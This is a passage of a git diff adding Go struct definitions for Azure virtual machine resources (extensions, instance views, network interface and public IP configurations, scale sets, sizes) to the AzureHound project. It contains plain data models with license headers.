Statuses []InstanceViewStatus `json:"statuses,omitempty"` + + // The VM Agent full version. + VMAgentVersion string `json:"vmAgentVersion,omitempty"` +} diff --git a/models/azure/virtual_machine_extension.go b/models/azure/virtual_machine_extension.go new file mode 100644 index 0000000..be223d7 --- /dev/null +++ b/models/azure/virtual_machine_extension.go @@ -0,0 +1,38 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes a Virtual Machine Extension. +type VirtualMachineExtension struct { + // Resource ID. + Id string `json:"id,omitempty"` + + // Resource location. + Location string `json:"location,omitempty"` + + // Resource name. + Name string `json:"name,omitempty"` + + Properties VMExtensionProperties `json:"properties,omitempty"` + + // Resource tags. + Tags map[string]string `json:"tags,omitempty"` + + // Resource type. + Type string `json:"type,omitempty"` +} diff --git a/models/azure/virtual_machine_extension_handler_instance_view.go b/models/azure/virtual_machine_extension_handler_instance_view.go new file mode 100644 index 0000000..9dbe4fc --- /dev/null +++ b/models/azure/virtual_machine_extension_handler_instance_view.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// The instance view of a virtual machine extension handler. +type VirtualMachineExtensionHandlerInstanceView struct { + // The extension handler status. + Status InstanceViewStatus `json:"status,omitempty"` + + // Specifies the type of the extension; an example is "CustomScriptExtension". + Type string `json:"type,omitempty"` + + // Specifies the version of the script handler. + TypeHandlerVersion string `json:"typeHandlerVersion,omitempty"` +} diff --git a/models/azure/virtual_machine_extension_instance_view.go b/models/azure/virtual_machine_extension_instance_view.go new file mode 100644 index 0000000..ce5bf18 --- /dev/null +++ b/models/azure/virtual_machine_extension_instance_view.go @@ -0,0 +1,36 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// The instance view of a virtual machine extension. +type VirtualMachineExtensionInstanceView struct { + // The virtual machine extension name. + Name string `json:"name,omitempty"` + + // The resource status information. + Statuses []InstanceViewStatus `json:"statuses,omitempty"` + + // The resource status information. + Substatuses []InstanceViewStatus `json:"substatuses,omitempty"` + + // Specifies the type of the extension; e.g. "CustomScriptExtension" + Type string `json:"type,omitempty"` + + // Specifies the version of the script handler. + TypeHandlerVersion string `json:"typeHandlerVersion,omitempty"` +} diff --git a/models/azure/virtual_machine_health_status.go b/models/azure/virtual_machine_health_status.go new file mode 100644 index 0000000..2bb8233 --- /dev/null +++ b/models/azure/virtual_machine_health_status.go @@ -0,0 +1,24 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// The health status of the VM. +type VirtualMachineHealthStatus struct { + // The health status information for the VM. + Status InstanceViewStatus `json:"status,omitempty"` +} diff --git a/models/azure/virtual_machine_instance_view.go b/models/azure/virtual_machine_instance_view.go new file mode 100644 index 0000000..f0c9b36 --- /dev/null +++ b/models/azure/virtual_machine_instance_view.go @@ -0,0 +1,76 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +// The instance view of a virtual machine. +type VirtualMachineInstanceView struct { + // Resource id of the dedicated host, on which the virtual machine is allocated through automatic placement, when + // the virtual machine is associated with a dedicated host group that has automatic placement enabled. + // Minimum api-version: 2020-06-01. + AssignedHost string `json:"assignedHost,omitempty"` + + // Boot Diagnostics is a debugging feature which allows you to view Console Output and Screenshot to diagnose VM + // status. + // You can easily view the output of your console log. + // Azure also enables you to see a screenshot of the VM from the hypervisor. + BootDiagnotics BootDiagnoticsInstanceView `json:"bootDiagnotics,omitempty"` + + // The computer name assigned to the virtual machine. + ComputerName string `json:"computerName,omitempty"` + + // The virtual machine disk information. + Disks []DiskInstanceView `json:"disks,omitempty"` + + // The extensions information. + Extensions []VirtualMachineExtensionInstanceView `json:"extensions,omitempty"` + + // Specifies the HyperVGeneration Type associated with a resource. + HyperVGeneration enums.HyperVGeneration `json:"hyperVGeneration,omitempty"` + + // The Maintenance Operation status on the virtual machine. + MaintenanceRedeployStatus MaintenanceRedeployStatus `json:"maintenanceRedeployStatus,omitempty"` + + // The Operating System running on the virtual machine. + OSName string `json:"osName,omitempty"` + + // The version of Operating System running on the virtual machine. + OSVersion string `json:"osVersion,omitempty"` + + // [Preview Feature] The status of the virtual machine patch operations. + PatchStatus VirtualMachinePatchStatus `json:"patchStatus,omitempty"` + + // Specifies the fault domain of the virtual machine. + PlatformFaultDomain int `json:"platformFaultDomain,omitempty"` + + // Specifies the update domain of the virtual machine. + PlatformUpdateDomain int `json:"platformUpdateDomain,omitempty"` + + // The remote desktop certificate thumbprint. + RDPThumbPrint string `json:"rdpThumbPrint,omitempty"` + + // The resource status information. + Statuses []InstanceViewStatus `json:"statuses,omitempty"` + + // The VM Agent running on the virtual machine. + VMAgent VirtualMachineAgentInstanceView `json:"vmAgent,omitempty"` + + // The health status for the VM. + VMHealth VirtualMachineHealthStatus `json:"vmHealth,omitempty"` +} diff --git a/models/azure/virtual_machine_network_interface_config.go b/models/azure/virtual_machine_network_interface_config.go new file mode 100644 index 0000000..64a61e7 --- /dev/null +++ b/models/azure/virtual_machine_network_interface_config.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes a virtual machine network interface configuration. +type VirtualMachineNetworkInterfaceConfiguration struct { + // The network interface configuration name. + Name string `json:"name,omitempty"` + + Properties VMNetworkInterfaceConfigurationProperties `json:"properties,omitempty"` +} diff --git a/models/azure/virtual_machine_patch_status.go b/models/azure/virtual_machine_patch_status.go new file mode 100644 index 0000000..800b32a --- /dev/null +++ b/models/azure/virtual_machine_patch_status.go @@ -0,0 +1,30 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// The status ov virtual machine patch operations. +type VirtualMachinePatchStatus struct { + // The available patch summary of the latest assessment operation for the virtual machine. + AvailablePatchSummary AvailablePatchSummary `json:"availablePatchSummary,omitempty"` + + // The enablement status of the specified patchMode. + ConfigurationStatuses []InstanceViewStatus `json:"configurationStatuses,omitempty"` + + // The installation summary of the latest installation operation for the virtual machine. + LastPatchInstallationSummary LastPatchInstallationSummary `json:"lastPatchInstallationSummary,omitempty"` +} diff --git a/models/azure/virtual_machine_props.go b/models/azure/virtual_machine_props.go new file mode 100644 index 0000000..7fe25f0 --- /dev/null +++ b/models/azure/virtual_machine_props.go @@ -0,0 +1,50 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" +) + +type VirtualMachineProperties struct { + AdditionalCapabilities AdditionalCapabilities `json:"additionalCapabilities,omitempty"` + ApplicationProfile ApplicationProfile `json:"applicationProfile,omitempty"` + AvailabilitySet SubResource `json:"availabilitySet,omitempty"` + BillingProfile BillingProfile `json:"billingProfile,omitempty"` + CapacityReservation CapacityReservationProfile `json:"capacityReservation,omitempty"` + DiagnosticsProfile DiagnosticsProfile `json:"diagnosticsProfile,omitempty"` + EvictionPolicy enums.VMEvictionPolicy `json:"evictionPolicy,omitempty"` + ExtensionsTimeBudget string `json:"extensionsTimeBudget,omitempty"` + HardwareProfile HardwareProfile `json:"hardwareProfile,omitempty"` + Host SubResource `json:"host,omitempty"` + HostGroup SubResource `json:"hostGroup,omitempty"` + InstanceView VirtualMachineInstanceView `json:"instanceView,omitempty"` + LicenseType string `json:"licenseType,omitempty"` + NetworkProfile NetworkProfile `json:"networkProfile,omitempty"` + OSProfile OSProfile `json:"osProfile,omitempty"` + PlatformFaultDomain int `json:"platformFaultDomain,omitempty"` + Priority enums.VMPriority `json:"priority,omitempty"` + ProvisioningState string `json:"provisioningState,omitempty"` + ProximityPlacementGroup SubResource `json:"proximityPlacementGroup,omitempty"` + ScheduledEventsProfile ScheduledEventsProfile `json:"scheduledEventsProfile,omitempty"` + SecurityProfile SecurityProfile `json:"securityProfile,omitempty"` + StorageProfile StorageProfile `json:"storageProfile,omitempty"` + UserData string `json:"userData,omitempty"` + VirtualMachineScaleSet SubResource `json:"virtualMachineScaleSet,omitempty"` + VMId string `json:"vmId,omitempty"` +} diff --git a/models/azure/virtual_network_rule.go b/models/azure/virtual_network_rule.go new file mode 100644 index 0000000..80ee922 --- /dev/null +++ b/models/azure/virtual_network_rule.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// A rule governing the accessibility of a vault from a specific virtual network. +type VirtualNetworkRule struct { + // Full resource id of a vnet subnet, such as + // '/subscriptions/subid/resourceGroups/rg1/providers/Microsoft.Network/virtualNetworks/test-vnet/subnets/subnet1'. + Id string `json:"id,omitempty"` + + // Property to specify whether NRP will ignore the check if parent subnet has serviceEndpoints configured. + IgnoreMissingVnetServiceEndpoint bool `json:"ignoreMissingVnetServiceEndpoint,omitempty"` +} diff --git a/models/azure/vm_extension_props.go b/models/azure/vm_extension_props.go new file mode 100644 index 0000000..1fdcb3b --- /dev/null +++ b/models/azure/vm_extension_props.go @@ -0,0 +1,59 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type VMExtensionProperties struct { + // Indicates whether the extension should use a newer minor version if one is available at deployment time. + // Once deployed, however, the extension will not upgrade minor versions unless redeployed, even with this property + // set to true. + AutoUpgradeMinorVersion bool `json:"autoUpgradeMinorVersion,omitempty"` + + // Indicates whether the extension should be automatically upgraded by the platform if there is a newer version of + // the extension available. + EnabledAutomaticUpgrade bool `json:"enabledAutomaticUpgrade,omitempty"` + + // How the extension handler should be forced to update even if the extension configuration has not changed. + ForceUpdateTag string `json:"forceUpdateTag,omitempty"` + + // The virtual machine extension instance view. + InstanceView VirtualMachineExtensionInstanceView `json:"instanceView,omitempty"` + + // The extension can contain either protectedSettings or protectedSettingsFromKeyVault or no protected settings at + // all. + ProtectedSettings map[string]string `json:"protectedSettings,omitempty"` + + // The provisioning state, which only appears in the response. + ProvisioningState string `json:"provisioningState,omitempty"` + + // The name of the extension handler publisher. + Publisher string `json:"publisher,omitempty"` + + // Json formatted public settings for the extension. + Settings map[string]string `json:"settings,omitempty"` + + // Indicates whether failures stemming from the extension will be suppressed (Operational failures such as not + // connecting to the VM will not be suppressed regardless of this value). + // The default is false. + SuppressFailures bool `json:"suppressFailures,omitempty"` + + // Specifies the type of the extension; an example is "CustomScriptExtension". + Type string `json:"type,omitempty"` + + // Specifies the version of the script handler. + TypeHandlerVersion string `json:"typeHandlerVersion,omitempty"` +} diff --git a/models/azure/vm_gallery_app.go b/models/azure/vm_gallery_app.go new file mode 100644 index 0000000..40838fd --- /dev/null +++ b/models/azure/vm_gallery_app.go @@ -0,0 +1,35 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies the required information to reference a compute gallery application version. +type VMGalleryApplication struct { + // Optional, Specifies the uri to an azure blob that will replace the default configuration for the package if + // provided. + ConfigurationReference string `json:"configurationReference,omitempty"` + + // Optional, Specifies the order in which the packages have to be installed. + Order int `json:"order,omitempty"` + + // Specifies the GalleryApplicationVersion resource id on the form of + // /subscriptions/{SubscriptionId}/resourceGroups/{ResourceGroupName}/providers/Microsoft.Compute/galleries/{galleryName}/applications/{application}/versions/{version} + PackageReferenceId string `json:"packageReferenceId,omitempty"` + + // Optional, Specifies a passthrough value for more generic context. + Tags string `json:"tags,omitempty"` +} diff --git a/models/azure/vm_ip_config_props.go b/models/azure/vm_ip_config_props.go new file mode 100644 index 0000000..8b1751d --- /dev/null +++ b/models/azure/vm_ip_config_props.go @@ -0,0 +1,46 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +type VMIPConfigProperties struct { + // Specifies an array of references to backend address pools of application gateways. A virtual machine can + // reference backend address pools of multiple application gateways. Multiple virtual machines cannot use the same + // application gateway. + ApplicationGatewayBackendAddressPools []SubResource `json:"applicationGatewayBackendAddressPools,omitempty"` + + // Specifies an array of references to application security group. + ApplicationSecurityGroups []SubResource `json:"applicationSecurityGroups,omitempty"` + + // Specifies an array of references to backend address pools of load balancers. A virtual machine can reference + // backend address pools of one public and one internal load balancer. [Multiple virtual machines cannot use the + // same basic sku load balancer]. + LoadBalancerBackendAddressPools []SubResource `json:"loadBalancerBackendAddressPools,omitempty"` + + // Specifies the primary network interface in case the virtual machine has more than 1 network interface. + Primary bool `json:"primary,omitempty"` + + // Available from Api-Version 2017-03-30 onwards, it represents whether the specific ipconfiguration is IPv4 or IPv6. + // Default is taken as IPv4. Possible values are: 'IPv4' and 'IPv6'. + PrivateIPAddressVersion string `json:"privateIpAddressVersion,omitempty"` + + // The publicIPAddressConfiguration. + PublicIPAddressConfiguration VMPublicIPConfig `json:"publicIpAddressConfiguration,omitempty"` + + // Specifies the identifier of the subnet. + Subnet SubResource `json:"subnet,omitempty"` +} diff --git a/models/azure/vm_ip_tag.go b/models/azure/vm_ip_tag.go new file mode 100644 index 0000000..98cfadc --- /dev/null +++ b/models/azure/vm_ip_tag.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Contains the IP tag associated with the public IP address. +type VMIPTag struct { + // IP tag type. Example: FirstPartyUsage. + IPTagType string `json:"ipTagType,omitempty"` + + // IP tag associated with the public IP. Example: SQL, Storage etc. + Tag string `json:"tag,omitempty"` +} diff --git a/models/azure/vm_network_interface_config_props.go b/models/azure/vm_network_interface_config_props.go new file mode 100644 index 0000000..c19f8c3 --- /dev/null +++ b/models/azure/vm_network_interface_config_props.go @@ -0,0 +1,49 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "github.com/bloodhoundad/azurehound/v2/enums" + +type VMNetworkInterfaceConfigurationProperties struct { + // Specify what happens to the network interface when the VM is deleted. + DeleteOption enums.VMDeleteOption `json:"deleteOption,omitempty"` + + // The dns settings to be applied on the network interfaces. + DNSSettings VMNetworkInterfaceDNSSettings `json:"dnsSettings,omitempty"` + + // The DSCP resource to be applied to the network interfaces. + DSCPConfiguration SubResource `json:"dscpConfiguration,omitempty"` + + // Specifies whether the network interface is accelerated networking-enabled. + EnabledAcceleratedNetworking bool `json:"enabledAcceleratedNetworking,omitempty"` + + // Specifies whether the network is FPGA networking-enabled + EnableFpga bool `json:"enableFpga,omitempty"` + + // Whether IP forwarding is enabled on this NIC. + EnableIPForwarding bool `json:"enableIPForwarding,omitempty"` + + // Specifies the IP configurations of the network interface. + IPConfigurations []VMNetworkInterfaceIPConfig `json:"ipConfigurations,omitempty"` + + // The network security group. + NetworkSecurityGroup SubResource `json:"networkSecurityGroup,omitempty"` + + // Specifies the primary network interface in case the virtual machine has more than one. + Primary bool `json:"primary,omitempty"` +} diff --git a/models/azure/vm_network_interface_dns_settings.go b/models/azure/vm_network_interface_dns_settings.go new file mode 100644 index 0000000..c318659 --- /dev/null +++ b/models/azure/vm_network_interface_dns_settings.go @@ -0,0 +1,24 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes a virtual machine network configuration's DNS settings. +type VMNetworkInterfaceDNSSettings struct { + // List of DNS server IP addresses + DNSServers []string `json:"dnsServers,omitempty"` +} diff --git a/models/azure/vm_network_interface_ip_config.go b/models/azure/vm_network_interface_ip_config.go new file mode 100644 index 0000000..0a15ba0 --- /dev/null +++ b/models/azure/vm_network_interface_ip_config.go @@ -0,0 +1,23 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes a virtual machine network profile's IP configuration. +type VMNetworkInterfaceIPConfig struct { + Properties VMIPConfigProperties `json:"properties,omitempty"` +} diff --git a/models/azure/vm_public_ip_config.go b/models/azure/vm_public_ip_config.go new file mode 100644 index 0000000..23d8b72 --- /dev/null +++ b/models/azure/vm_public_ip_config.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes a virtual machines IP Configuration's PublicIPAddress configuration. +type VMPublicIPConfig struct { + // The public IP address configuration name. + Name string `json:"name,omitempty"` + + Properties VMPublicIPConfigProperties `json:"properties,omitempty"` + + // Describes the public IP Sku + Sku VMPublicIPSku `json:"sku,omitempty"` +} diff --git a/models/azure/vm_public_ip_config_props.go b/models/azure/vm_public_ip_config_props.go new file mode 100644 index 0000000..21dfc25 --- /dev/null +++ b/models/azure/vm_public_ip_config_props.go @@ -0,0 +1,43 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" +) + +type VMPublicIPConfigProperties struct { + // Specify what happens to the public IP address when the VM is deleted. + DeleteOption enums.VMDeleteOption `json:"deleteOption,omitempty"` + + // The dns settings to be applied on the publicIP addresses. + DNSSettings VMPublicIPDNSSettings `json:"dnsSettings,omitempty"` + + // The idle timeout of the public IP address. + IdleTimeoutInMinutes int `json:"idleTimeoutInMinutes,omitempty"` + + // The list of IP tags associated with the public IP address. + IPTags []VMIPTag `json:"ipTags,omitempty"` + + // Available from Api-Version 2019-07-01 onwards, it represents whether the specific ipconfiguration is IPv4 or IPv6. + // Default is taken as IPv4. Possible values are: 'IPv4' and 'IPv6'. + PublicIPAddressVersion string `json:"publicIpAddressVersion,omitempty"` + + // Specify the public IP allocation type. + PublicIPAllocationMethod enums.IPAllocationMethod `json:"publicIpAllocationMethod,omitempty"` +} diff --git a/models/azure/vm_public_ip_dns_settings.go b/models/azure/vm_public_ip_dns_settings.go new file mode 100644 index 0000000..ae085ac --- /dev/null +++ b/models/azure/vm_public_ip_dns_settings.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Describes a virtual machines network configuration's DNS settings. +type VMPublicIPDNSSettings struct { + // The Domain name label prefix of the PublicIPAddress resources that will be created. The generated name label is + // the concatenation of the domain name label and vm network profile unique ID. + DomainNameLabel string `json:"domainNameLabel,omitempty"` +} diff --git a/models/azure/vm_public_ip_sku.go b/models/azure/vm_public_ip_sku.go new file mode 100644 index 0000000..9251d77 --- /dev/null +++ b/models/azure/vm_public_ip_sku.go @@ -0,0 +1,31 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import ( + "github.com/bloodhoundad/azurehound/v2/enums" +) + +// Describes the public IP Sku +type VMPublicIPSku struct { + // Specify the public IP sku name. + Name enums.IPSku `json:"name,omitempty"` + + // Specify the public IP sky tier. + Tier enums.IPSkuTier `json:"tier,omitempty"` +} diff --git a/models/azure/vm_scale_set.go b/models/azure/vm_scale_set.go new file mode 100644 index 0000000..3d89b1f --- /dev/null +++ b/models/azure/vm_scale_set.go @@ -0,0 +1,51 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +import "strings" + +type VMScaleSet struct { + Entity + + ExtendedLocation ExtendedLocation `json:"extendedLocation,omitempty"` + Identity ManagedIdentity `json:"identity,omitempty"` + Location string `json:"location,omitempty"` + Name string `json:"name,omitempty"` + Plan Plan `json:"plan,omitempty"` + Tags map[string]string `json:"tags,omitempty"` + Type string `json:"type,omitempty"` + Zones []string `json:"zones,omitempty"` +} + +func (s VMScaleSet) ResourceGroupName() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 4 { + return parts[4] + } else { + return "" + } +} + +func (s VMScaleSet) ResourceGroupId() string { + parts := strings.Split(s.Id, "/") + if len(parts) > 5 { + return strings.Join(parts[:5], "/") + } else { + return "" + } +} diff --git a/models/azure/vm_size_props.go b/models/azure/vm_size_props.go new file mode 100644 index 0000000..ce7f01e --- /dev/null +++ b/models/azure/vm_size_props.go @@ -0,0 +1,32 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package azure + +// Specifies VM Size Property settings on the virtual machine. +type VMSizeProperties struct { + // Specifies the number of vCPUs available for the VM. + // When this property is not specified in the request body the default behavior is to set it to the value of vCPUs + // available for that VM size exposed in api response of List all available virtual machine sizes in a region. + VCPUsAvailable int `json:"vCPUsAvailable,omitempty"` + + // Specifies the vCPU to physical core ratio. + // When this property is not specified in the request body the default behavior is set to the value of vCPUsPerCore + // for the VM Size exposed in api response of List all available virtual machine sizes in a region. + // Setting this property to 1 also means that hyper-threading is disabled. + VCPUsPerCore int 